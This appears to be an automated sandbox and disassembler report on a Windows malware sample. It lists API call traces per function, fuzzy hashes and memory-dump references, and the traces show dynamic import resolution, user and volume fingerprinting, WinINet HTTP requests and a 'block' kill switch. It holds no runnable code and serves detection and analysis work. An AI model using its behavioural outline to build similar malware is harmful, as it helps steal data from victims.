Associated: 00000000.00000002.1874878897.0000000000610000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874916408.00000000006C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874916408.00000000006CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874916408.00000000006F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874916408.000000000085A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.000000000086E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.00000000009E3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.0000000000ABB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.0000000000ADC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.0000000000AE3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.0000000000AF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876148035.0000000000AF3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876246903.0000000000C82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876261548.0000000000C83000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_610000_file.jbxd

Yara matches

Similarity

API ID: Internet$lstrcpy$lstrlen$CloseHandle$HttpOpenRequestlstrcat$ConnectCrackFileReadSend
String ID: "$"$------$------$------
API String ID: 460715078-2180234286
Opcode ID: 4bb2de15b0af3fa0947aa4eb446b756ca6d29fb40c5a8484a9eb392cc15fa061
Instruction ID: d84c0baffae66be4f656ee28471622af22679b79347164ede6d91a3f492fb299
Opcode Fuzzy Hash: 4bb2de15b0af3fa0947aa4eb446b756ca6d29fb40c5a8484a9eb392cc15fa061
Instruction Fuzzy Hash: 3812CB71911528ABDB55EB90EC92FEEB37ABF14300F50419DF10662091DFB42B89CF6A

Function 00627850 Relevance: 4.5, APIs: 3, Instructions: 36memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,006111B7), ref: 00627880
RtlAllocateHeap.NTDLL(00000000), ref: 00627887
GetUserNameA.ADVAPI32(00000104,00000104), ref: 0062789F

Memory Dump Source

Source File: 00000000.00000002.1874916408.0000000000611000.00000040.00000001.01000000.00000003.sdmp, Offset: 00610000, based on PE: true

Associated: 00000000.00000002.1874878897.0000000000610000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874916408.00000000006C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874916408.00000000006CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874916408.00000000006F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874916408.000000000085A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.000000000086E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.00000000009E3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.0000000000ABB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.0000000000ADC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.0000000000AE3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.0000000000AF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876148035.0000000000AF3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876246903.0000000000C82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876261548.0000000000C83000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_610000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateNameProcessUser
String ID:
API String ID: 1296208442-0
Opcode ID: db9f1f14a16421bcaa6900738c6a252eac1f21d8a7e2519a1818b05ee3f14c17
Instruction ID: 89374b62ef015448b8c090ecd0bcd8bd38eb83b657b2c25f367743ba3a60c772
Opcode Fuzzy Hash: db9f1f14a16421bcaa6900738c6a252eac1f21d8a7e2519a1818b05ee3f14c17
Instruction Fuzzy Hash: 77F04FB1944608ABC704DF98DD89FAEBBB8FB08712F10026AFA05A2680C77915048BA1

Function 00611160 Relevance: 3.0, APIs: 2, Instructions: 15COMMON

Download Yara Rule

APIs

GetSystemInfo.KERNEL32(?), ref: 0061116A
ExitProcess.KERNEL32 ref: 0061117E

Memory Dump Source

Source File: 00000000.00000002.1874916408.0000000000611000.00000040.00000001.01000000.00000003.sdmp, Offset: 00610000, based on PE: true

Associated: 00000000.00000002.1874878897.0000000000610000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874916408.00000000006C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874916408.00000000006CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874916408.00000000006F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874916408.000000000085A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.000000000086E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.00000000009E3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.0000000000ABB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.0000000000ADC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.0000000000AE3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.0000000000AF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876148035.0000000000AF3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876246903.0000000000C82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876261548.0000000000C83000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_610000_file.jbxd

Yara matches

Similarity

API ID: ExitInfoProcessSystem
String ID:
API String ID: 752954902-0
Opcode ID: c8ddb5406c0630bb2d6bd2bcb38e3398ebb16bc91e5507f82a05baf08813f33c
Instruction ID: 6a8da9df64c22bd79732b9d476085bf6afd6ffe54305fa6836755fc949ca83ea
Opcode Fuzzy Hash: c8ddb5406c0630bb2d6bd2bcb38e3398ebb16bc91e5507f82a05baf08813f33c
Instruction Fuzzy Hash: E8D05E7490030CDBCB04DFE0D88A6DDBB78FB0C312F000698D90562340EA306485CAA6

Function 00629C10 Relevance: 200.2, APIs: 112, Strings: 2, Instructions: 684
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32(74DD0000,01105850), ref: 00629C2D
GetProcAddress.KERNEL32(74DD0000,011056D0), ref: 00629C45
GetProcAddress.KERNEL32(74DD0000,01119670), ref: 00629C5E
GetProcAddress.KERNEL32(74DD0000,01119688), ref: 00629C76
GetProcAddress.KERNEL32(74DD0000,011196D0), ref: 00629C8E
GetProcAddress.KERNEL32(74DD0000,01119610), ref: 00629CA7
GetProcAddress.KERNEL32(74DD0000,0110BD10), ref: 00629CBF
GetProcAddress.KERNEL32(74DD0000,0111D4D0), ref: 00629CD7
GetProcAddress.KERNEL32(74DD0000,0111D4B8), ref: 00629CF0
GetProcAddress.KERNEL32(74DD0000,0111D5A8), ref: 00629D08
GetProcAddress.KERNEL32(74DD0000,0111D578), ref: 00629D20
GetProcAddress.KERNEL32(74DD0000,01105870), ref: 00629D39
GetProcAddress.KERNEL32(74DD0000,011056B0), ref: 00629D51
GetProcAddress.KERNEL32(74DD0000,011058B0), ref: 00629D69
GetProcAddress.KERNEL32(74DD0000,01105890), ref: 00629D82
GetProcAddress.KERNEL32(74DD0000,0111D488), ref: 00629D9A
GetProcAddress.KERNEL32(74DD0000,0111D4E8), ref: 00629DB2
GetProcAddress.KERNEL32(74DD0000,0110BCC0), ref: 00629DCB
GetProcAddress.KERNEL32(74DD0000,011058D0), ref: 00629DE3
GetProcAddress.KERNEL32(74DD0000,0111D500), ref: 00629DFB
GetProcAddress.KERNEL32(74DD0000,0111D518), ref: 00629E14
GetProcAddress.KERNEL32(74DD0000,0111D530), ref: 00629E2C
GetProcAddress.KERNEL32(74DD0000,0111D560), ref: 00629E44
GetProcAddress.KERNEL32(74DD0000,011059D0), ref: 00629E5D
GetProcAddress.KERNEL32(74DD0000,0111D4A0), ref: 00629E75
GetProcAddress.KERNEL32(74DD0000,0111D590), ref: 00629E8D
GetProcAddress.KERNEL32(74DD0000,0111D3F8), ref: 00629EA6
GetProcAddress.KERNEL32(74DD0000,0111D440), ref: 00629EBE
GetProcAddress.KERNEL32(74DD0000,0111D410), ref: 00629ED6
GetProcAddress.KERNEL32(74DD0000,0111D548), ref: 00629EEF
GetProcAddress.KERNEL32(74DD0000,0111D428), ref: 00629F07
GetProcAddress.KERNEL32(74DD0000,0111D458), ref: 00629F1F
GetProcAddress.KERNEL32(74DD0000,0111D470), ref: 00629F38
GetProcAddress.KERNEL32(74DD0000,0111A660), ref: 00629F50
GetProcAddress.KERNEL32(74DD0000,0111CE28), ref: 00629F68
GetProcAddress.KERNEL32(74DD0000,0111CE10), ref: 00629F81
GetProcAddress.KERNEL32(74DD0000,011059F0), ref: 00629F99
GetProcAddress.KERNEL32(74DD0000,0111D008), ref: 00629FB1
GetProcAddress.KERNEL32(74DD0000,01105A10), ref: 00629FCA
GetProcAddress.KERNEL32(74DD0000,0111D050), ref: 00629FE2
GetProcAddress.KERNEL32(74DD0000,0111CEE8), ref: 00629FFA
GetProcAddress.KERNEL32(74DD0000,01105A70), ref: 0062A013
GetProcAddress.KERNEL32(74DD0000,01105AB0), ref: 0062A02B
LoadLibraryA.KERNEL32(0111CE58,?,00625CA3,00630AEB,?,?,?,?,?,?,?,?,?,?,00630AEA,00630AE3), ref: 0062A03D
LoadLibraryA.KERNEL32(0111D0E0,?,00625CA3,00630AEB,?,?,?,?,?,?,?,?,?,?,00630AEA,00630AE3), ref: 0062A04E
LoadLibraryA.KERNEL32(0111CEB8,?,00625CA3,00630AEB,?,?,?,?,?,?,?,?,?,?,00630AEA,00630AE3), ref: 0062A060
LoadLibraryA.KERNEL32(0111CF78,?,00625CA3,00630AEB,?,?,?,?,?,?,?,?,?,?,00630AEA,00630AE3), ref: 0062A072
LoadLibraryA.KERNEL32(0111CDF8,?,00625CA3,00630AEB,?,?,?,?,?,?,?,?,?,?,00630AEA,00630AE3), ref: 0062A083
LoadLibraryA.KERNEL32(0111D020,?,00625CA3,00630AEB,?,?,?,?,?,?,?,?,?,?,00630AEA,00630AE3), ref: 0062A095
LoadLibraryA.KERNEL32(0111CE40,?,00625CA3,00630AEB,?,?,?,?,?,?,?,?,?,?,00630AEA,00630AE3), ref: 0062A0A7
LoadLibraryA.KERNEL32(0111D038,?,00625CA3,00630AEB,?,?,?,?,?,?,?,?,?,?,00630AEA,00630AE3), ref: 0062A0B8
GetProcAddress.KERNEL32(75290000,01105B90), ref: 0062A0DA
GetProcAddress.KERNEL32(75290000,0111CE70), ref: 0062A0F2
GetProcAddress.KERNEL32(75290000,01118F78), ref: 0062A10A
GetProcAddress.KERNEL32(75290000,0111CE88), ref: 0062A123
GetProcAddress.KERNEL32(75290000,01105DF0), ref: 0062A13B
GetProcAddress.KERNEL32(73440000,0110B5E0), ref: 0062A160
GetProcAddress.KERNEL32(73440000,01105CD0), ref: 0062A179
GetProcAddress.KERNEL32(73440000,0110B950), ref: 0062A191
GetProcAddress.KERNEL32(73440000,0111CED0), ref: 0062A1A9
GetProcAddress.KERNEL32(73440000,0111CEA0), ref: 0062A1C2
GetProcAddress.KERNEL32(73440000,01105C10), ref: 0062A1DA
GetProcAddress.KERNEL32(73440000,01105AD0), ref: 0062A1F2
GetProcAddress.KERNEL32(73440000,0111CF00), ref: 0062A20B
GetProcAddress.KERNEL32(752C0000,01105DD0), ref: 0062A22C
GetProcAddress.KERNEL32(752C0000,01105C90), ref: 0062A244
GetProcAddress.KERNEL32(752C0000,0111CF18), ref: 0062A25D
GetProcAddress.KERNEL32(752C0000,0111CF90), ref: 0062A275
GetProcAddress.KERNEL32(752C0000,01105C30), ref: 0062A28D
GetProcAddress.KERNEL32(74EC0000,0110B608), ref: 0062A2B3
GetProcAddress.KERNEL32(74EC0000,0110B9C8), ref: 0062A2CB
GetProcAddress.KERNEL32(74EC0000,0111CFA8), ref: 0062A2E3
GetProcAddress.KERNEL32(74EC0000,01105DB0), ref: 0062A2FC
GetProcAddress.KERNEL32(74EC0000,01105D10), ref: 0062A314
GetProcAddress.KERNEL32(74EC0000,0110B978), ref: 0062A32C
GetProcAddress.KERNEL32(75BD0000,0111CFC0), ref: 0062A352
GetProcAddress.KERNEL32(75BD0000,01105AF0), ref: 0062A36A
GetProcAddress.KERNEL32(75BD0000,011190A8), ref: 0062A382
GetProcAddress.KERNEL32(75BD0000,0111D068), ref: 0062A39B
GetProcAddress.KERNEL32(75BD0000,0111CF30), ref: 0062A3B3
GetProcAddress.KERNEL32(75BD0000,01105C50), ref: 0062A3CB
GetProcAddress.KERNEL32(75BD0000,01105BD0), ref: 0062A3E4
GetProcAddress.KERNEL32(75BD0000,0111CFD8), ref: 0062A3FC
GetProcAddress.KERNEL32(75BD0000,0111CF48), ref: 0062A414
GetProcAddress.KERNEL32(75A70000,01105D70), ref: 0062A436
GetProcAddress.KERNEL32(75A70000,0111CF60), ref: 0062A44E
GetProcAddress.KERNEL32(75A70000,0111CFF0), ref: 0062A466
GetProcAddress.KERNEL32(75A70000,0111D080), ref: 0062A47F
GetProcAddress.KERNEL32(75A70000,0111D098), ref: 0062A497
GetProcAddress.KERNEL32(75450000,01105E50), ref: 0062A4B8
GetProcAddress.KERNEL32(75450000,01105B70), ref: 0062A4D1
GetProcAddress.KERNEL32(75DA0000,01105B50), ref: 0062A4F2
GetProcAddress.KERNEL32(75DA0000,0111D0B0), ref: 0062A50A
GetProcAddress.KERNEL32(6F070000,01105D30), ref: 0062A530
GetProcAddress.KERNEL32(6F070000,01105BB0), ref: 0062A548
GetProcAddress.KERNEL32(6F070000,01105B10), ref: 0062A560
GetProcAddress.KERNEL32(6F070000,0111D0C8), ref: 0062A579
GetProcAddress.KERNEL32(6F070000,01105C70), ref: 0062A591
GetProcAddress.KERNEL32(6F070000,01105CB0), ref: 0062A5A9
GetProcAddress.KERNEL32(6F070000,01105B30), ref: 0062A5C2
GetProcAddress.KERNEL32(6F070000,01105BF0), ref: 0062A5DA
GetProcAddress.KERNEL32(6F070000,InternetSetOptionA), ref: 0062A5F1
GetProcAddress.KERNEL32(6F070000,HttpQueryInfoA), ref: 0062A607
GetProcAddress.KERNEL32(75AF0000,0111D2C0), ref: 0062A629
GetProcAddress.KERNEL32(75AF0000,01119078), ref: 0062A641
GetProcAddress.KERNEL32(75AF0000,0111D230), ref: 0062A659
GetProcAddress.KERNEL32(75AF0000,0111D338), ref: 0062A672
GetProcAddress.KERNEL32(75D90000,01105E10), ref: 0062A693
GetProcAddress.KERNEL32(6CF60000,0111D2D8), ref: 0062A6B4
GetProcAddress.KERNEL32(6CF60000,01105E30), ref: 0062A6CD
GetProcAddress.KERNEL32(6CF60000,0111D188), ref: 0062A6E5
GetProcAddress.KERNEL32(6CF60000,0111D140), ref: 0062A6FD

Strings

HttpQueryInfoA, xrefs: 0062A5FC
InternetSetOptionA, xrefs: 0062A5E5

Memory Dump Source

Source File: 00000000.00000002.1874916408.0000000000611000.00000040.00000001.01000000.00000003.sdmp, Offset: 00610000, based on PE: true

Associated: 00000000.00000002.1874878897.0000000000610000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874916408.00000000006C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874916408.00000000006CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874916408.00000000006F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874916408.000000000085A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.000000000086E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.00000000009E3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.0000000000ABB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.0000000000ADC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.0000000000AE3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.0000000000AF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876148035.0000000000AF3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876246903.0000000000C82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876261548.0000000000C83000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_610000_file.jbxd

Yara matches

Similarity

API ID: AddressProc$LibraryLoad
String ID: HttpQueryInfoA$InternetSetOptionA
API String ID: 2238633743-1775429166
Opcode ID: cf85a5db622e2acc2c70c607782b938061109bf42cc29d83c198998d81a5b989
Instruction ID: 373cc11f1038989b8029869cdf792003cd3a3ec482c17bdffb473e4d08f85fdb
Opcode Fuzzy Hash: cf85a5db622e2acc2c70c607782b938061109bf42cc29d83c198998d81a5b989
Instruction Fuzzy Hash: E862F8B5510304AFC74CDFA8EDD89663BF9F78C603714872AA64AC3264D63DA841DF62

Function 00616280 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 191
networkfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0062A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0062A7E6

Part of subcall function 006147B0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 00614839
Part of subcall function 006147B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 00614849

Part of subcall function 0062A740: lstrcpy.KERNEL32(00630E17,00000000), ref: 0062A788

InternetOpenA.WININET(00630DFE,00000001,00000000,00000000,00000000), ref: 006162E1
StrCmpCA.SHLWAPI(?,0111E858), ref: 00616303
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00616335
HttpOpenRequestA.WININET(00000000,GET,?,0111E2D8,00000000,00000000,00400100,00000000), ref: 00616385
InternetSetOptionA.WININET(00000000,0000001F,?,00000004), ref: 006163BF
HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 006163D1
HttpQueryInfoA.WININET(00000000,00000013,?,00000100,00000000), ref: 006163FD
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 0061646D
InternetCloseHandle.WININET(00000000), ref: 006164EF
InternetCloseHandle.WININET(00000000), ref: 006164F9
InternetCloseHandle.WININET(00000000), ref: 00616503

Strings

GET, xrefs: 0061637C
ERROR, xrefs: 00616407
ERROR, xrefs: 006164C9

Memory Dump Source

Source File: 00000000.00000002.1874916408.0000000000611000.00000040.00000001.01000000.00000003.sdmp, Offset: 00610000, based on PE: true

Associated: 00000000.00000002.1874878897.0000000000610000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874916408.00000000006C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874916408.00000000006CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874916408.00000000006F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874916408.000000000085A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.000000000086E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.00000000009E3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.0000000000ABB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.0000000000ADC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.0000000000AE3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.0000000000AF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876148035.0000000000AF3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876246903.0000000000C82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876261548.0000000000C83000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_610000_file.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandleHttp$OpenRequestlstrcpy$ConnectCrackFileInfoOptionQueryReadSendlstrlen
String ID: ERROR$ERROR$GET
API String ID: 3749127164-2509457195
Opcode ID: 1973aed3da6fd50e9f245778c75a310e9171434b1f0448d2215785e284ee8092
Instruction ID: fc439d3a6641b82505cff4c520b5ec6dd9fe3dc1d86902fdf32f1d8572c27806
Opcode Fuzzy Hash: 1973aed3da6fd50e9f245778c75a310e9171434b1f0448d2215785e284ee8092
Instruction Fuzzy Hash: F6715F75A00318ABDB14DFE0DC99BEE77BABB44701F108198F10A6B1D0DBB46A85CF95

Function 00625510 Relevance: 23.1, APIs: 7, Strings: 6, Instructions: 383
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0062A820: lstrlen.KERNEL32(00614F05,?,?,00614F05,00630DDE), ref: 0062A82B
Part of subcall function 0062A820: lstrcpy.KERNEL32(00630DDE,00000000), ref: 0062A885

Part of subcall function 0062A740: lstrcpy.KERNEL32(00630E17,00000000), ref: 0062A788

StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00625644
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 006256A1
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00625857

Part of subcall function 0062A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0062A7E6

Part of subcall function 006251F0: StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00625228

Part of subcall function 0062A8A0: lstrcpy.KERNEL32(?,00630E17), ref: 0062A905

Part of subcall function 006252C0: StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00625318
Part of subcall function 006252C0: lstrlen.KERNEL32(00000000), ref: 0062532F
Part of subcall function 006252C0: StrStrA.SHLWAPI(00000000,00000000), ref: 00625364
Part of subcall function 006252C0: lstrlen.KERNEL32(00000000), ref: 00625383
Part of subcall function 006252C0: lstrlen.KERNEL32(00000000), ref: 006253AE

StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 0062578B
StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00625940
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00625A0C
Sleep.KERNEL32(0000EA60), ref: 00625A1B

Strings

ERROR, xrefs: 0062577D
ERROR, xrefs: 00625693
ERROR, xrefs: 00625636
ERROR, xrefs: 00625849
ERROR, xrefs: 006259FE
ERROR, xrefs: 00625932

Memory Dump Source

Source File: 00000000.00000002.1874916408.0000000000611000.00000040.00000001.01000000.00000003.sdmp, Offset: 00610000, based on PE: true

Associated: 00000000.00000002.1874878897.0000000000610000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874916408.00000000006C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874916408.00000000006CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874916408.00000000006F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874916408.000000000085A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.000000000086E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.00000000009E3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.0000000000ABB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.0000000000ADC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.0000000000AE3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.0000000000AF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876148035.0000000000AF3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876246903.0000000000C82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876261548.0000000000C83000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_610000_file.jbxd

Yara matches

Similarity

API ID: lstrcpylstrlen$Sleep
String ID: ERROR$ERROR$ERROR$ERROR$ERROR$ERROR
API String ID: 507064821-2791005934
Opcode ID: 52d314e3057db8d4999fa97f4c6e259e50f020682e60a53bfcb6996ccac0f9cb
Instruction ID: b5dd3e5e85718f5bc57bb87ecef09854c135f6dd7141898556707b6f618a2f7c
Opcode Fuzzy Hash: 52d314e3057db8d4999fa97f4c6e259e50f020682e60a53bfcb6996ccac0f9cb
Instruction Fuzzy Hash: 94E11071910A149BCB58FBE0FC969ED733AAF54300F50812CF50766192EF786A49CF9A

Function 006217A0 Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 162
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

StrCmpCA.SHLWAPI(00000000,block), ref: 006217C5
ExitProcess.KERNEL32 ref: 006217D1

Strings

block, xrefs: 006217B7

Memory Dump Source

Source File: 00000000.00000002.1874916408.0000000000611000.00000040.00000001.01000000.00000003.sdmp, Offset: 00610000, based on PE: true

Associated: 00000000.00000002.1874878897.0000000000610000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874916408.00000000006C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874916408.00000000006CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874916408.00000000006F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874916408.000000000085A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.000000000086E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.00000000009E3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.0000000000ABB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.0000000000ADC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.0000000000AE3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.0000000000AF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876148035.0000000000AF3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876246903.0000000000C82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876261548.0000000000C83000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_610000_file.jbxd

Yara matches

Similarity

API ID: ExitProcess
String ID: block
API String ID: 621844428-2199623458
Opcode ID: 63e04a3ba553c89866042486a4693119c98102b8b6b68fb1cdd453caa4003eb3
Instruction ID: 93b459f46dbee740c35af74b9dc6fd4eea69708303bc3bafee22c005168e11af
Opcode Fuzzy Hash: 63e04a3ba553c89866042486a4693119c98102b8b6b68fb1cdd453caa4003eb3
Instruction Fuzzy Hash: 4D514EB4A08619EFDB04DFA0E9A4ABE77BBBF55704F108058E4056B340D774E986CF62

Function 00627500 Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 106
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetWindowsDirectoryA.KERNEL32(?,00000104), ref: 00627542
GetVolumeInformationA.KERNEL32(?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 0062757F
GetProcessHeap.KERNEL32(00000000,00000104), ref: 00627603
RtlAllocateHeap.NTDLL(00000000), ref: 0062760A
wsprintfA.USER32 ref: 00627640

Part of subcall function 0062A740: lstrcpy.KERNEL32(00630E17,00000000), ref: 0062A788

Strings

c, xrefs: 0062764D, 00627655, 0062761B, 00627623
\, xrefs: 00627560
:, xrefs: 0062755C
C, xrefs: 0062754C

Memory Dump Source

Source File: 00000000.00000002.1874916408.0000000000611000.00000040.00000001.01000000.00000003.sdmp, Offset: 00610000, based on PE: true

Associated: 00000000.00000002.1874878897.0000000000610000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874916408.00000000006C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874916408.00000000006CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874916408.00000000006F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874916408.000000000085A000.00000040.00000001.01000000.00000003.sdmpDownload File
